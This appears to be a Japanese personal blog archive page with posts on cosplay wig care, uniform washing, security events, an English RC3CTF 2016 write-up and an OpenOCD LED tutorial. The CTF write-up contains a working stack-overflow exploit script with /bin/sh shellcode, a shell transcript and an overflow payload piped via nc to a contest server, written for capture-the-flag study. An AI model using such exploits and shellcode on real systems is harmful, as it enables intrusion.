ヾノ*>ㅅ<)ノシ帳

ノンジャンルのふりーだむなブログです。

例の友利奈緒風ウィッグの髪型のセット方法のメモ

こちらは 友利奈緒 Advent Calandar 2016 22日目の記事です。 今日はAmazonで3000円ぐらいで買える友利奈緒風ウィッグのセット方法のメモを晒します。 メモには値段以上の価値を引き出すための工夫も書いてあります。

前髪

友利奈緒の前髪は下の写真のようにまとまってませんが、普段はこのようにまとめておくとブラシを入れるなどの手入れがしやすいです。 私は着用したときに友利奈緒の前髪になるように毛をまとめ直しています。

f:id:katc:20161220171805j:plain

サイド髪

サイド髪は下の写真の緑色で着色したように取っています。分かりやすいように写真では、サイド髪をヘアゴムでまとめています。 顔の輪郭をごまかしたいので設定よりは多めに毛を取っています。

f:id:katc:20161220172014j:plain

熱?で圧着されたカール対策

下の写真の通り、このウィッグは熱か何かで雑にカールがつけられています。 ヘアアイロンで巻き髪にする通常の手順と大きく逸脱していますし、このままだとブラシを通しにくいです。 放置して着脱を繰り返すとウィッグ全体がボサボサしてきてしまいます。

f:id:katc:20161220172658j:plain

しかし下の写真の通り、接着をむりやり外すとそこがパサパサ&ボサボサで大変なことになります。 毛束を少なめに手にとり、ヘアオイルで湿潤させ、ブラシを優しく通す作業を1束10~20分のペースで繰り返せば潤艶髪なります。 このときブラシの柄の部分も使うのもありです。 私がした限りでは、一日頑張ったところで乾燥したままなので二日同じことをしないと髪が落ち着いてくれませんでした。

f:id:katc:20161220172139j:plain

次は、もともとあったカールをほとんど取り、ダメージのケアをした時の後ろ髪の写真です。 カールがだいぶゆるくなっる点を除けばだいぶいい感じです。 元よりもウェット感が出ていて気に入っています(後ろ髪の右側は直前にヘアオイルを使った手入れをしたのでオイリーですけど…)。

f:id:katc:20161220172314j:plain

参考情報

お手入れに使用したもの:


髪型を完璧にセットして、キミもモテカワ友利奈緒になろう!

星ノ海学園制服(女子冬服)をおうちクリーニングしてみた

これは 友利奈緒 Advent Calendar 2016 の16日目の記事です。

今日は、ACOSで買った星ノ海学園制服(女子冬服)をおうちでクリーニングしたよという話です。 洗濯表示的にはクリーニングに出したほうがいい代物ですが、 そっと洗えば大丈夫そうだったのでコスプレ衣装洗濯初心者ながら自己責任でやってみました。

前提

  • シミなどの汚れはない

用意するもの

  • エマールなどのおしゃれ着用洗剤(中性洗剤)
  • 風呂桶
  • 洗濯ネット
  • 厚手のハンガー
  • アイロンとアイロン台
  • 洗濯ばさみ10個ぐらい

洗濯表示

家庭科の授業で習ったとおりに、まず洗濯表示を確認します。 それによると、

  • 組成はポリエステル100%
  • 「家庭での洗濯禁止」(ただし条件付きで洗濯可能)
  • 「塩素系漂白剤による漂白が出来ません」
  • 「底面温度 150℃を限度としてアイロン仕上げ処理ができる。」かつ「あて布が必要」
  • 「ドライクリーニングが出来ます。溶剤はパークロルエチレンまたは石油系のものを使って下さい。」

ポリエステルなので、シワになりにくいはずですが、水洗いできないというのは謎でした。 が、後で思えば色落ちが著しいという理由なのかもしれません。

本当はここで目立たないところに洗剤の原液を付けて色落ちしないかをチェックするところですが、色落ちすることは自明なのでスキップです。

手洗い

風呂桶の中にぬるま湯と適量のエマールを入れて、押し洗いで洗いました。 色落ちを洗った後の水の色で判断するならば、

  • セーラー服の上の方は少し水が赤くなったねというくらいで許容範囲
  • スカートの方は大丈夫かってくらいに水が茶色くなった

という感じです。他の衣服と一緒に洗いたくないやつですね。

水ですすいでから次は乾燥です。

乾燥

洗濯機にネットに入れて軽く脱水させて、厚手のハンガーで乾燥させる感じの適当さです。 シワになるのが嫌なので雑巾絞りはしてないです。

乾燥後に色落ちをチェックしましたが、白のラインに色が付いていたり、色ムラがあったりはしませんでした。大丈夫そうです。

アイロンがけ

あいにく制服のアイロンがけはしたことがありません。 温度を「中」にして、下の動画を参考にしながらアイロンを浮かせながらスチームをかけたり、あて布をしながらアイロンを掛けたりしましたが、 下手くそ過ぎて小さいシワが残ってしまいました。なので仕上がりの写真は載せられません!

youtu.be

あとがき:次回があったときに試したいこと

  • 水洗い時に色落ちを少なくするには水に塩を溶かすといいらしい
    • 塩を水に溶かすと、水の残りの溶解度が小さくなることを利用するらしい
  • バスタオルでロールケーキのようにくるむと型崩れしにくい。これはロングウィッグにも有効(ソース)

クリーニング(洗濯)は大事ですよ〜。みなさん、ちゃんと洗濯してますか?

金沢ミニキャンパーに人気のTomoriNaoシールのお話

友利奈緒 Advent Calendar 2016 の4日目の記事です。 空いてたので突っ込んでおきますね。

セキュリティ・ミニキャンプ in 北陸 2016(金沢)が12月3日(土)、4日(日)に開催されました。

www.security-camp.org

ア!w

f:id:katc:20161205120034p:plain

TomoriNaoのTomoriNaoなのでTomoriNaoシールをお配りました。 お昼休憩にこそっとシールを渡していたら、あちこちからミニキャンパーがシールくれくれと押し寄せてきました。 まるで餌に群がる鳩のような光景です。とさいぬくん(@myon___)にも布教用に数枚渡したので、手元にあった20枚ぐらいのシールが残り数枚になりました。 今ピンチです。

喜びの声を集めました。

TomoriNaoシールは販売予定ですが、「早く販売して♥」(←ハート必要)とうちのリーダーに催促した方がいいかな。 【12/6追記】販売中でした。すみません TomorNaoのメンバーが持っていたりするので、オフラインのイベントで会ったらくださいと言うのもありです。


TomoriNaoシールのパロディネタを思いついたので作ろうかな、なんつって、ガハハ

NEC Cyber Security Tech Session に行ってきたヾノ*>ㅅ<)ノシ

2016年11月26日(土)にNECのトレーニングルームでNEC Cyber Security Tech Sessionが開催され、そこに参加してきました。

atnd.org

イベント公開日の午前中にTwitterに情報が流れて「どうせ東京でしょ」と一回スルーして、あとで日付が26日であることが分かって慌てて参加登録しました。 そのときは補欠でしたが、前日には心優しい(?)キャンセルのおかげで参加できるようになりました(ありがたや~)。

ATNDにある通り、勉強会の体で複数のセキュリティソフトがそれぞれ別にインストールされた環境に検体をぶち込んで遊ぼうぜwというものです。 何かの売り込みがある商用臭いイベントじゃないので不快感がなく、良かったと思います。 参加者層は業界人:学生=3:1くらいでいい感じでした。学生がやたら多いと就活臭くなってしまいすからねー。
# 個人的には、そんなイベントじゃないのに学生がスーツで参加するのはやめちくりという感じ
大量に捕獲したマルウェアを食べて生きているんじゃないの?という人もちらほらいていいっすね👍

懇親会でアルコール提供があるというだけで年齢制限があるイベント(←未成年でも参加したがっていたプロがいたので改善余地あり)でしたが、受付には怖い人はいませんでしたw (T2 SHIBUYA恐ろしや~)
そんなことよりも驚いたのは、受付の人に「友利奈緒ちゃん」とバレてたことですねwどこで知ったんでしょうかね…

[勉強会中のできごとは残念ながらNDAにより検閲] # とりあえずお水ありがとうございます

f:id:katc:20161127170518p:plain

上の写真は懇親会のときの写真です。場所は同じ会場です。 オードブルといろんなお酒とソフトドリンクが置かれました。困ったことに紙製のトングが食べ物をつかみにくいという残念な感じでした😇 勉強会セッションでは静かでしたが、お酒が入ってみんなわいわいという感じで、僕もいろんな方とそのひとの近況とかを話せて良かったです。 この場でも「軽い気持ちで書いたあの文書」読みましたという方が現れました。激中途半端で申し訳ないです、当文書は今でもご意見募集していますー。

そうしているうちに、あっという間に18時なってしまいました><
僕も二次会に参加したかったんですが、名古屋に帰らねばならなかったのでここで退散です><
どんな二次会だったんだろうー?

NECのみなさんありがとうございました。 NECがセキュリティを頑張っていることは勉強会開くなどしてどんどん"それとなく"アピールしていって欲しいと思います👍(失礼な物言いですが、数か月前までは知らなかったもので…)
次回開催を期待しつつ、でわ✋

RC3CTF 2016 Writeup

# 運営がwrtieup読みてぇって書いていたから英語で書くよ (broken English sorry!)

I joined in RC3CTF 2016 (from 2016/11/19 to 20; 48 hours online CTF, Format: Jeopardy) as a member of Ping-Mic to welcome a new team member.

We got 1540 points and ended in 147-th place.

Archived Score Boroad

I solved following challenges:

  • All Trivias (writeups are omitted)
  • Who’s a good boy? - web 100
  • Graphic Design - for 200
  • IMS easy - pwn 150
  • Fensepost - pwn 150
  • Logmein - rev 100
  • *FLE - rev 200 (after contest is over)

This blog post is writeups for those challenges.

Who’s a good boy? - web 100

Just check the content of stylesheet (css file).

https://ctf.rc3.club:3000/doge.css

/*hiya*/
/*compress your frontend*/
/*here's a flag :)*/
flag:RC3-2016-CanineSS

Graphic Design - for 200

I saw # Blender v2.78 (sub 0) OBJ File: at the first line of obj file. I googled and found that obj file is a model data that can be loaded in Blender (one of CG software).

After Blender has imported obj file, I got following scene:

f:id:katc:20161123155707p:plain

Is there only a dynasaw? No, there’s a suspicious model:

f:id:katc:20161123155749p:plain

I made dynasaw invisible and made suspious model visible, then I got flag!!

f:id:katc:20161123155804p:plain

IMS easy - pwn 150

IMS holds records in stack and we can see stack and corrupt it.

C source code of IMS-easy may be like:

// .bss
int* index; // 0x80f0f9c

struct RECORD { // 12 bytes
    char product_code[8]; // 8 bytes
    int product_id; // 4 bytes
}

void print_menu(void) {
    _IO_puts("================================================");
    _IO_printf("|RC3 Inventory Management System (public %s)|\n", "alpha");
    _IO_puts("================================================");
    _IO_puts("1. Add record");
    _IO_puts("2. Delete record");
    _IO_puts("3. View record");
    _IO_puts("4. Quit");
    _IO_printf("Choose: ", "alpha");
    return;
}

int process_choice(int* arg0, int* index) {
    char buf[]:     // ebp-0x24
    int user_index; // ebp-0x18
    int i;          // ebp-0xC

    _IO_fgets(buf, 0xc, stdin); // upto 12 chars
    stack[2034] = 0x0;
    eax = strtol(buf, stack[2034], 0xa);
    // eax = eax;
    if (eax == 0x2) { // delete
        _IO_printf("Enter index to delete: ", stack[2034]);
        _IO_fgets(buf, 0xc, stdin);
        user_index = strtoul(buf, 0x0, 0xa);
        if ((user_index >= 0x0) && (*index > user_index)) {
                for (i = user_index + 0x1; i < *index; i++) {
                        memcpy(arg0 + (i + i + i << 0x2) + 0xfffffff4, (i + i + i << 0x2) + arg0, 0xc);
                }
                *index -= 1;
        }
        else {
                _IO_puts("That record does not exist");
        }
        return 0;
    }
    else if (eax == 0x1) { // register
        _IO_printf("Enter product ID: ", 0xa);
        _IO_fgets(buf, 0xc, stdin); // up to 12 chars
        eax = *index;
        *(0x8 + (eax + eax + eax << 0x2) + arg0) = strtoul(buf, 0x0, 0xa);
        _IO_printf("Enter product code: ", 0x0);
        _IO_fgets(buf, 0xc, stdin); // up to 12 chars
        var_14 = sub_80482c0(); // @plt
        if (var_14 != 0x0) {
                *(int8_t *)var_14 = 0x0;
        }
        eax = *index;
        sub_8048260();
        *index += 0x1;
        return 0;
    }
    else if (eax == 0x3) { // view
        _IO_printf("Enter the index of the product you wish to view: ", stack[2034]);
        _IO_fgets(buf, 0xc, stdin);
        user_index = strtol(buf, 0x0, 0xa);
        eax = *(0x8 + arg0 + (user_index + user_index + user_index << 0x2)); // information leak
        _IO_printf("Product ID: %d, Product Code: ", eax);
        fwrite(arg0 + (user_index + user_index + user_index << 0x2), 0x8, 0x1, stdout); // information leak
        fflush(stdout);
        return 0;
    }
    else {
        return 0x1;
    }  
}


int main(void) {
    RECORD* records[N]; // esp+0x1c

    esp = (esp & 0xfffffff0) - 0x60;
    setbuf(stdout, 0x0);
    sub_8048290(); // sub_8048290@plt
    do {
            print_menu();
            if (process_choice(records, index) != 0x0) {
                break;
            }
            _IO_printf("There are %d records in the IMS\n\n", *index);
    } while (true);
    return 0x0;
}

To obtain shell, I did:

  • write shellcode in records since NX bit is disabled
  • overwrite return address to address of shellcode (records)

this is exploit code to get shell (very dirty, sorry):

from pwn import *
from sys import argv

# context.log_level = 'debug'

BIN = "./IMS-easy"

## NOT WORKS!!
## http://shell-storm.org/shellcode/files/shellcode-585.php (25 bytes)
## shellcode = "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
#
## http://shell-storm.org/shellcode/files/shellcode-827.php (23 bytes)
## shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# http://shell-storm.org/shellcode/files/shellcode-811.php (28 bytes)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

LOCAL = True
def bp():
    if LOCAL:
        raw_input("break point: ")

e = ELF(BIN)
if len(argv) > 1 and argv[1] == "r":
    LOCAL = False
    r = remote("ims.ctf.rc3.club", 7777)
else:
    r = process(BIN)

"""
1. Add record
2. Delete record
3. View record
4. Quit
"""

def add(product_id, product_code):
    r.sendline('1')
    r.sendline(product_id)
    r.sendline(product_code)

def delete(index):
    r.sendline('2')
    r.sendline(index)

def view(index):
    r.sendline('3')
    r.sendline(index)

def quit():
    r.sendline('4')

def wait_for_choice():
    r.recvuntil("Choose: ")

def parse_view():
    res = r.recvuntil("the IMS\n")
    # print res
    m = re.findall("Product ID: (\d+), Product Code: ([\x00-\xff]{8})There are \d+ records in the IMS", res)
    if m == None:
        log.error("view response error")
    _id, _code = m[0]
    return int(_id), u32(_code[4:8]), u32(_code[0:4])

DIG_INDEX = 7

# print "---------"
# for i in range(DIG_INDEX):
#     wait_for_choice()
#     view(str(i))
#     print "%#x, %#x, %#x" % parse_view()
# print "---------"

"""
0020| 0xffdfc7ac ("BBBBBBBB")
0024| 0xffdfc7b0 ("BBBB")
0028| 0xffdfc7b4 --> 0x0 
0032| 0xffdfc7b8 ("BBBBBBBB\001")
0036| 0xffdfc7bc ("BBBB\001")
0040| 0xffdfc7c0 --> 0x1 
0044| 0xffdfc7c4 --> 0x0 
0048| 0xffdfc7c8 --> 0x0 
0052| 0xffdfc7cc --> 0x0 
0056| 0xffdfc7d0 --> 0x0 
0060| 0xffdfc7d4 --> 0x0 
0064| 0xffdfc7d8 --> 0x0 
0068| 0xffdfc7dc --> 0x0 
0072| 0xffdfc7e0 --> 0x0 
0076| 0xffdfc7e4 --> 0x0 
0080| 0xffdfc7e8 --> 0xffdfc88c --> 0xffdfd671 ("LC_MEASUREMENT=en_US.UTF-8")
"""

wait_for_choice()
view("5")
_, _, records_ptr = parse_view()
records_ptr -= 0xe0
log.info("records = %#x" % records_ptr)

"""
0056| 0xffa7da80 ("BBBBBBBB\003")
0060| 0xffa7da84 ("BBBB\003")
0064| 0xffa7da88 --> 0x3 
"""

# 0
wait_for_choice()
add(str(u32(shellcode[8:12])), shellcode[0:8])
# 1
wait_for_choice()
add(str(u32(shellcode[20:24])), shellcode[12:20])
# 2
wait_for_choice()
add(str(0x114514), shellcode[24:28].ljust(8, '\x90'))
# add(str(0x114514), "\x90"*8)
for i in range(3):
    wait_for_choice()
    add(str(0x90909090), "\x90"*8) # nop sled
# 6 (overwrite return address)
wait_for_choice()
add(str(records_ptr), "A"*8)

bp()

# print "---------"
# for i in range(DIG_INDEX):
#     wait_for_choice()
#     view(str(i))
#     print "%#x, %#x, %#x" % parse_view()
# print "---------"

wait_for_choice()
quit() # trigger shellcode!!

r.interactive()
[katc@K_atc IMS-easy]$ python2 IMS-easy.py r
[*] Stack is executable!
[+] Opening connection to ims.ctf.rc3.club on port 7777: Done
[*] records = 0xffb31b1c
[*] Switching to interactive mode
$ ls /home
IMS-easy
IMS-hard
ubuntu
$ cd /home/IMS-easy
$ ls
IMS-easy
flag.txt
$ cat flag.txt
RC3-2016-REC0RDZ-G0T-R3KT

Fencepost - pwn 150

C source code of fencepost may like:

void congratz(void) {
    puts("Good job! Run on the server to get the actual flag.");
    return;
}

int main(void) {
    int var_4; // rbp-4
    char[] user_input; // rbp-48

    var_4 = 0xffffffff;
    puts("=== Welcome to the RC3 Secure CTF Login ===");
    puts("=== Please enter the correct password below ===");
    do {
            printf("Password: ");
            __isoc99_scanf("%s", user_input);
            rax = strlen(user_input);
            rax = rax + 0x1;
            user_input[rax] = '\0';
            if ([rbp-0x4] == 0x0) {
                break;
            }
            rax = strcmp(user_input, "not-the-real-pass");
    } while (rax != 0x0);
    if (var_4 == 0x0) {
            rax = congratz();
    }
    return rax;
}

We have to:

  • overwrite [rbp-4] to be 0

BOF is enough to overwrite variables value on stack. Since I didn’t know scanf takes NULL bytes, I thought it’s hard problem, but it’s very simple.

To get flag:

tc@K_atc fencepost]$ echo -e "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb\0\0\0\0\0\0\0\0" > payload 
[katc@K_atc fencepost]$ cat payload - | nc 52.71.70.98 2091
=== Welcome to the RC3 Secure CTF Login ===
=== Please enter the correct password below ===
Password: RC3-2016-STACKPWN

Logmein - rev 100

Just use angr. find address is 0x4007f0 (congratz), avoid address is 0x4007c0 (incollect). I used Hopper plugin I developed. it took several seconds.

[*] bin path = /home/katc/Dropbox/CTF/rc3-fall-2016/logmein/logmein
found #avoid at 0x4007c0
found #find at 0x4007f0
finds = 0x4007f0
avoids = 0x4007c0
[*] executing angr script
==== [angr] ====
[*] angr exploring...
[*] found: stdin = 'RC3-2016-XORISGUD\x00\x80\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01'
==== [angr:stderr] ====
/usr/lib/python2.7/site-packages/pyvex/block.py:75: UserWarning: implicit cast from 'char *' to a different pointer type: will be forbidden in the future (check that the types are as you expect; use an explicit ffi.cast() if they are correct)
1)

================
[*] solve done

FLE - rev 200

Hint says “Try reversing it.” but I reversed (= decompiled) all things. but I got wrong flag:RC3-NOT-THE-FLAG-YOURE-LOOKING-FOR.

irc says just reverse it to get flag:

[04:17] <pwn3rs> any hints on rev 200 fle?
[04:17] <READY4THESCHWIFT> RE IT
[04:17] <wumb0> no
[04:17] <wumb0> reverse it
[04:18] <ducphan> lol fencepost changed category
[04:18] <pwn3rs> reversed it in ida
[04:18] <StatesideCash> yes
[04:18] <pwn3rs> found the bad flag
[04:18] <pwn3rs> and there is something in overlay
[04:19] <magu> dont spoil

So what? …Oh, reverse means reverse some strings?! But I didn’t think I need to reverse ELF file and replace first 4 bytes FLAG with \x7fELF.

following part is checking user input routine:

080480ae         add        ecx, eax
080480b0         inc        ecx
080480b1         mov        byte [ds:ecx], 0x0
080480b4         mov        esi, esp
080480b6         call       0x80480bb
080480bb         pop        ecx                                                 ; XREF=_start+42
080480bc         sub        ecx, 0xbb
080480c2         push       ecx
080480c3         push       0x0
080480c5         push       0x0
080480c7         mov        eax, dword [ds:ecx+0x1d02]
080480cd         bswap      eax
080480cf         push       eax
080480d0         mov        eax, dword [ds:ecx+0x1cfa]
080480d6         bswap      eax
080480d8         push       eax
080480d9         mov        eax, dword [ds:ecx+0x1dd1]
080480df         bswap      eax
080480e1         push       eax
080480e2         mov        eax, dword [ds:ecx+0x1bc7]
080480e8         bswap      eax
080480ea         push       eax
080480eb         mov        eax, dword [ds:ecx+0x148a]
080480f1         bswap      eax
080480f3         push       eax
080480f4         mov        eax, dword [ds:ecx+0x1482]
080480fa         bswap      eax
080480fc         push       eax
080480fd         mov        eax, dword [ds:ecx+0x147a]
08048103         bswap      eax
08048105         push       eax
08048106         mov        eax, dword [ds:ecx+0x1dc1]
0804810c         bswap      eax
0804810e         push       eax
0804810f         mov        eax, dword [ds:ecx+0x1bc2]
08048115         bswap      eax
08048117         push       eax
08048118         mov        eax, esp
0804811a         dec        ebx
0804811b         xor        ecx, ecx

0804811d         cmp        ecx, ebx                                            ; XREF=_start+163
0804811f         jge        0x8048131

08048121         mov        dl, byte [ds:eax]                                   ; *cipher
08048123         xor        dl, byte [ds:esi+ecx]                               ; user_input[ecx]
08048126         mov        byte [ds:esi+ecx], dl
08048129         add        eax, 0x1
0804812c         add        ecx, 0x1
0804812f         jmp        0x804811d

08048131         add        esp, 0x2c                                           ; XREF=_start+147
08048134         pop        ecx
08048135         lea        edi, dword [ds:ecx+0x1bcc]
0804813b         mov        ecx, ebx
0804813d         dec        ecx
0804813e         mov        esi, esp
08048140         call       calc_checksum
08048145         test       eax, eax
08048147         jne        avoid_0x804815a

It’s hard to analyze statically, so I carried out dynamic analysis with gdb and I could calculate real flag following python script:

# set break point at 0x08048118,in gdb, and see *$esp
good_known1 = "ahJd\024\032G\031\003r6\bl\033.jl\032UghvFd{\035P\177gc\022\005a\005"

# set break point at 0x08048140 in gdb, and see *$edi
# $edi = 0x8049bcc
good_known2 = "3+yI&*v/.+sI$6j+8Ix%-\"\022!)0\022\060.*\022W\"6"

flag = ''.join([chr(ord(x) ^ ord(y)) for x, y in zip(good_known1, good_known2)])
print flag

the result is:

"""
[katc@K_atc fle]$ python2 fle-solved.py 
RC3-2016-YEAH-DATS-BETTER-BOIIRC3
"""

I (we) usually participate in non-bigginer contests and I felt unsatisfactory, but I think it’s good a measure to get used to SECCON online CTF.

In “IMS hard”, I got to get shell locally (Ubuntu 14.04LTS), but it didn’t work corretly against remote server. What went wrong…? (It seemed Ubuntu’s prebuild libc is working on the server insted of customised libc:()

STM32F7 Discovery でOpenOCD+gdbによるLチカ

近いうちにOpenOCDを使う用件があるので、練習のためにSTM32F7 Discoveryで遊んでみました。 初心者向けに書きましたが、執筆時間の時間の都合で以下の事項は既習としてます。

  • 基本的なLinuxコマンドライン操作
  • gdb
  • MMIO(メモリマップドI/O)
  • GPIOが何なのか(と言っても文字通りの意味でしか無い…)

akizukidenshi.com

静電容量式のタッチディスプレイやSDカードスロット、オーディオI/Fなどがついてて8000円と良心的な値段設定です。 僕の手元にあるものは、ETという展示会(宇宙人はいませんが、昨年はR2-D2がいました?!)でSTマイクロエレクトロニクスのワークショップ的なものに参加してもらったものです。 来月にETやりますし、きっと似たような方法でもらえるかもしれません。
# ワークショップは有償開発環境の1日限定ライセンスのもとで実施されました

デバッグポートはST-Linkというもので、なんとUSBケーブル一本でデバッグできちゃいます。 組み込み特有のジャンパーコードやらきしめんみたいなリボンケーブルが必要ありません。 経済的で、初心者に優しいですね! 同じボードを用意できない場合は、Nucleoというボードが3000円くらいなので、そちらの方がお求めやすいかもしれません。

akizukidenshi.com

本エントリーでは、OpenOCDというデバッグ環境を用意した後、OpenOCDでターゲット(デバックするボードのこと)に接続し、 gdbでOpenOCDにアタッチし、手動でLチカするという内容でお送りします。

OpenOCDのビルド

詳細はそこまで知りませんが、OpenOCDはOpen On-Chip-Debuggerの略で、 JTAGデバッガなどを通じて、ホストPCからCPUが入っているマイコンに直接命令できるようなシステムです。 組み込み開発で有償開発環境(IAR Embedded Workbenchとか)を用意できない場合、gdbと合わせて使われるソフトウェアとして名前が上がるような代物です。 はじめに書きますが、100%ちゃんと動くことを期待しちゃダメです。気楽に使いましょう。

OpenOCDのビルドは比較的簡単です。 ダウンロード先はsourceforgeとgit(github)の2通りあります。 基本的にどちらでも良いですが、githubに上がっている方が良いかもしれません。 というのも、OpenOCDではJTAGデバッガやターゲットの設定を書いたスクリプトファイル(cfgファイル)が付属しているのですが、 github版のほうがそのファイルが豊富です。

OpenOCDのビルドは、基本的なビルド環境が揃っていることを前提に、以下のパッケージを必要とします。 ビルド前にaptとかで入れてください。

  • pkg-config
  • libusb-1.0*

さらに、gccのバージョンが重要で、4系でmakeが通ります。 色々考えるのが面倒なので、僕はVMのREMNuxでmake&&make installしてから、ホストにインストールしました。

以下は、ダウンロード済みのソースをビルドするためのコマンドです。

./bootstrap # git版のみ必要。configureが生成される
./configure --enable-ftdi # ftdiチップ関連の機能を有効にする
### configureにより、ftdiの項目がyesになっていることを確認する
make -j4
sudo make install

OpenOCDでターゲットに接続

OpenOCDでは、コマンドラインオプション-fで、ターゲットやハードウェアの方のデバッガに対応したcfgファイルを与えねばなりません。 バージョン0.9時点では、それらはtclというディレクトリの中に入っています。 注意すべきことは、-fで与えたパスが深すぎると依存関係を解決出ないという理由でエラーが出ます。 以下のように、-sオプションでベースディレクトリを教えるとうまく動いてくれます。 (まあカレントディレクトリにcfgをコピるのが一番楽ですがね)

root権限のあるシェルで実行しないと Error: libusb_open() failed with LIBUSB_ERROR_ACCESS と出て動きません

openocd -s tcl -f board/stm32f7discovery.cfg 

うまく接続するとこんな感じになります。

[root@K_atc openocd-git]# openocd -s tcl -f board/stm32f7discovery.cfg 
Open On-Chip Debugger 0.10.0-dev-00411-g607edef (2016-11-05-14:18)
Licensed under GNU GPL v2
For bug reports, read
    http://openocd.org/doc/doxygen/bugs.html
Info : The selected transport took over low-level target control. The results might differ compared to plain JTAG/SWD
adapter speed: 2000 kHz
adapter_nsrst_delay: 100
srst_only separate srst_nogate srst_open_drain connect_deassert_srst
Info : Unable to match requested speed 2000 kHz, using 1800 kHz
Info : Unable to match requested speed 2000 kHz, using 1800 kHz
Info : clock speed 1800 kHz
Info : STLINK v2 JTAG v28 API v2 SWIM v16 VID 0x0483 PID 0x374B
Info : using stlink api v2
Info : Target voltage: 3.201043
Warn : Silicon bug: single stepping will enter pending exception handler!
Info : stm32f7x.cpu: hardware has 8 breakpoints, 4 watchpoints

gdb起動

arm版のgdbを忘れずに用意します。 arm-none-eabi-gdbあたりがパッケージマネージャー使えば入るはずです。

OpenOCDがlocalhostの3333版ポートでgdbからのアタッチを待っています。 target remote :3333で会いに行きましょう〜
# -xは今は無視で

[katc@K_atc jtag]$ arm-none-eabi-gdb -q -x stm32f7.gdb 
/home/katc/.gdbinit:1: Error in sourced command file:
future__ import absolute_import:8: Error in sourced command file:
Undefined command: "from".  Try "help".
0x00000000 in ?? ()
(gdb) target remote :3333
Remote debugging using :3333
0x00000000 in ?? ()
(gdb) monitor targets
    TargetName         Type       Endian TapName            State       
--  ------------------ ---------- ------ ------------------ ------------
 0* stm32f7x.cpu       hla_target little stm32f7x.cpu       running
(gdb) 

手動Lチカ

gdbを使ってLチカさせていきましょう。

[datasheet]のBlock Diagramと[manual]を見ると、LD1というLEDがPI1に、PI1はGPIOI[1]につながっていることが分かります。
# このボードはArduinoのシールドとしても使えるらしいです。LD1はArduinoから操作することを考慮しているように見えますね。

f:id:katc:20161106000603p:plain f:id:katc:20161106000611p:plain

[datasheet]を見ると、GPIOIはメモリアドレス0x4002 2000 ~ 0x4002 2fffにマッピングされており、 [2]によると、0x40022000をベースアドレスとして、オフセット0にGPIOIのモードを変更するレジスタ(MODER)と、オフセット0x14に出力値を入れるレジスタ(ODR)があることが分かります。

f:id:katc:20161106000628p:plain

GPIOでは、ポートで外部入力を期待するのか外部出力するのか、またはその他(めいんどいので省略)なのかを特定のレジスタに教えることになります。 今回はそのレジスタはこのMODERというレジスタです。 [2]によると、今回はLEDを操作したいのでポートは出力モードで、そのためにはGPIOI[1]のモード設定でMODERの[3:2](2ビットから3ビット)を1にすれば良いことが分かります。

MODERレジスタの構成と値の意味

[2]を見る限り、とりまPI1に1を送るにはODR[1]に1をセットすれば良さそうです(←プルアップされているかどうかで話が変わりうる。結果としては1がLEDのONを意味する)

([2]にプルアップやプルダウンの文字がありますが、見なかったことにします。 0か1でLEDが点く話ですからね。)

以上より、LEDに関する初期化とLEDをon/offするコード、果てはLチカするユーザー関数のコードは次のgdbスクリプトに落ち着きます。
(ついでに、アタッチとターゲットのリセットを行います)

target remote :3333
monitor reset

### wait for target
shell sleep 2

set $GPIOI=0x40022000
set $GPIOI_MODER=$GPIOI+0x0
set $GPIOI_ODR=$GPIOI+0x14

### init led port
# MODER[2:3] = 2 (General purpose output mode)
set *(int *)$GPIOI_MODER=*$GPIOI_MODER|0x4 

def -ld1-on
    # ODR[1] = High
    set *(int *)$GPIOI_ODR=*$GPIOI_ODR|1<<1
end

def -ld1-off
    # ODR[1] = Low
    set *(int *)$GPIOI_ODR=*$GPIOI_ODR&~(1<<1)
end

def -LD1
    printf "SIGINT (Ctrl+C) to quit..."
    while(1)
        -ld1-on
        shell sleep 0.5
        -ld1-off
        shell sleep 0.5
    end
end

Lチカコマンドこと-LD1を実行すると無限ループの中で0.5秒毎にLD1が明滅します。おわり

[katc@K_atc jtag]$ arm-none-eabi-gdb -q -x stm32f7.gdb 
/home/katc/.gdbinit:1: Error in sourced command file:
future__ import absolute_import:8: Error in sourced command file:
Undefined command: "from".  Try "help".
0x00000000 in ?? ()
(gdb) -LD1
SIGINT (Ctrl+C) to quit...^CQuit
(gdb) 

f:id:katc:20161106000453p:plain

おまけ:OpenOCDのこんなときは

ターゲットをリセットしたい

ボードのリセットボタンを押すか、gdb(3333番ポート)からmonitor resetを送るか、telnet/nc(4444番ポート)からresetを送ります。

ターゲットをhaltしたい。haltをrunningに戻したい

gdbでの方法の説明に絞ります。

haltにするとき:monitor halt runningに戻したいとき: monitor reset run

(gdb) monitor halt
stm32f7x.cpu: target state: halted
target halted due to debug-request, current mode: Thread 
xPSR: 0x61000000 pc: 0x0803981c psp: 0x20007658
(gdb) monitor targets
    TargetName         Type       Endian TapName            State       
--  ------------------ ---------- ------ ------------------ ------------
 0* stm32f7x.cpu       hla_target little stm32f7x.cpu       halted
(gdb) monitor reset run
(gdb) monitor targets
    TargetName         Type       Endian TapName            State       
--  ------------------ ---------- ------ ------------------ ------------
 0* stm32f7x.cpu       hla_target little stm32f7x.cpu       running

# monitor reset run だと一回リセットが入るみたいだし、haltから再開する方法は無いのかな?

参考文献


ところで抵抗とコンデンサとLEDをラベルを見ずに外見だけで見分けるいい方法無いですかね…